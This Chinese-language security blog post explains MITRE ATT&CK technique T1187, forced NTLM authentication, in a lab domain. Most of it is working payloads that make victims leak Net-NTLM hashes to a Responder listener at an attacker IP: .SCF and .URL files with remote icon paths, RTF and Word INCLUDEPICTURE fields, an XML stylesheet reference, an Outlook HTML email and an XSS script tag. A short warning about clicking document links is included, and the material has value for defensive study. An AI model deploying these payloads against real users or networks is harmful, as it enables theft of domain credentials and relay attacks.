T1187 强制 NTLM 认证

2021-05-06 7,338
在上一篇文章 一文理解 Windows 身份验证原理 介绍了什么是 NTLM 以及一些利用 NTLM 进行更一步获取权限的方式,其中就有 NTLM 中继、 Net-NTLM hash 破解。但实现这些利用,需要发起 NTLM 请求,本文章介绍下如何强制发起 NTLM 请求。

环境准备

本文章的环境是根据之前文章 搭建一个简单的Windows域环境 搭建的。先在 kali 上启动 Responder 来监听 Net-NTLM hash 。kali 的 ip 为 172.16.108.4
responder -I eth0


接着在 Windows Server 2012 域控主机上安装 office ,用于后续测试。

下面介绍一些强制进行 NTLM 认证的方式,让 Windows 2012 强制向 kali 主机发起 NTLM 请求,从而获取域控账号的 Net-NTLM hash,当然也可以进行 NTLM 中继攻击,具体方法请查看上一篇文章。

1. 通过超链接执行

让我们创建一个Word文档,该文档具有指向 kali 服务器的超链接


超链接地址为 \172.16.108.41.txt ,也就是 kali 服务器 Responder 的地址


在用户诱导点击后,会在 Responder 上收到发起的 NTLM 请求,成功获取  Net-NTLM hash


所以不要随便打开文档中的超链接,即使没病毒,也可能被进行强制认证。

2. 通过 .SCF 文件执行
编辑一个 fa.scf 文件,内容如下
[Shell]
Command=2
IconFile=\172.16.108.4nc.ico
[Taskbar]
Command=ToggleDesktop
当用户打开存放该文件的目录时,fa.scf 会自动执行,自动解析图标所指的链接。迫使受害系统尝试在 Responder 正在侦听的 172.16.108.4 处对攻击系统进行 NTLM 身份验证。也可以把该文件放在共享目录上,用户打开该共享目录时,就会进行强制认证。

可以先删除 Responder 的缓存再进行测试,不然会显示跳过之前捕获的 hash
rm /usr/share/responder/Responder.db

重新打开存在 fa.scf 文件的目录,或者点刷新,就可以发起 NTLM 认证了 



3. 通过 .URL 文件执行


创建一个 a.url 文件,内容如下,并将其上传到受害者系统:
[InternetShortcut]
URL=whatever
WorkingDirectory=whatever
IconFile=\172.16.108.41.icon
IconIndex=1
当用户打开存放该文件的目录时,a.url 会自动执行,自动解析图标所指的链接。迫使受害系统尝试在 Responder 正在侦听的 172.16.108.4 处对攻击系统进行 NTLM 身份验证


4. 通过.RTF文件执行

新建一个 file.rtf 文件,它将尝试从攻击系统加载图像:
{rtf1{field{*fldinst {INCLUDEPICTURE "file://172.16.108.4/test.jpg" \* MERGEFORMAT\d}}{fldrslt}}}
 在受害者系统上执行 file.rtf 会被强制进行 NTLM 认证:




5. 通过.XML 文件执行


Word文档可以另存为.xml

可以通过包含一个从攻击者控制的服务器请求文档样式表的标签(第3行)来进行 NTLM 强制认证。 当打开该 xml 文档时,会进行 NTLM 认证。
<?xml version="1.0" encoding="UTF-8" standalone="yes"?>
<?mso-application progid="Word.Document"?>
<?xml-stylesheet type="text/xsl" href="\172.16.108.4bad.xsl" ?>


6. 通过Field IncludePicture执行


创建一个新的Word文档并插入一个域IncludePicture:

 

将文件另存为.xml 或者 docx。 启动文档会进行强制 NTLM 认证



7. 通过 Outlook 执行

如果目标系统未运行最新版本的Windows / Outlook,则可以制作这样的电子邮件,使攻击者无需用户进行任何干预即可窃取受害者的 NetNTLMv2 哈希-单击电子邮件即可预览并发起强制 NTLM 认证。
 
请注意,此攻击不适用于Windows 10和Outlook 2016版本的最新版本,或者需要在outlook设置开启自动加载图片。
 

使用以下内容发送邮件到outlook:

<html>
    <h1>holla good sir</h1>    
    <img src="file://172.16.108.4/download.jpg">
</html>

 

RTF文件也可以使用:
 

{rtf1{field{*fldinst {INCLUDEPICTURE "file://172.16.108.4/test.jpg" \* MERGEFORMAT\d}}{fldrslt}}}

 
在收到邮件后点击该邮件,会自动加载图片进行 NTLM 认证

 

8. 通过漏洞发起 NTLM请求

使用常见的Web漏洞,也可以发起 NTLM 请求,如 XSS、SSRF、XXE等可以导致服务器去访问一个URL的漏洞。以 XSS 为例,新建一个 html 文件。里面存在 XSS 利用代码

<html><script src="//172.16.108.4/1.js"><html/>
由于 Windows server 版本的 IE 启用了保护模式,所以需要关闭才可以自动加载外部脚本。
关闭后,打开 html 文件,即可进行 NTLM 认证

参考链接
https://www.ired.team/offensive-security/initial-access/t1187-forced-authentication
https://www.anquanke.com/post/id/193493
https://attack.mitre.org/techniques/T1187/

本文作者:timeshatter

本文为安全脉搏专栏作者发布,转载请注明:https://www.secpulse.com/archives/158433.html

Tags:
评论  (0)
快来写下你的想法吧!

timeshatter

文章数:13 积分: 130

安全问答社区

安全问答社区

脉搏官方公众号

脉搏公众号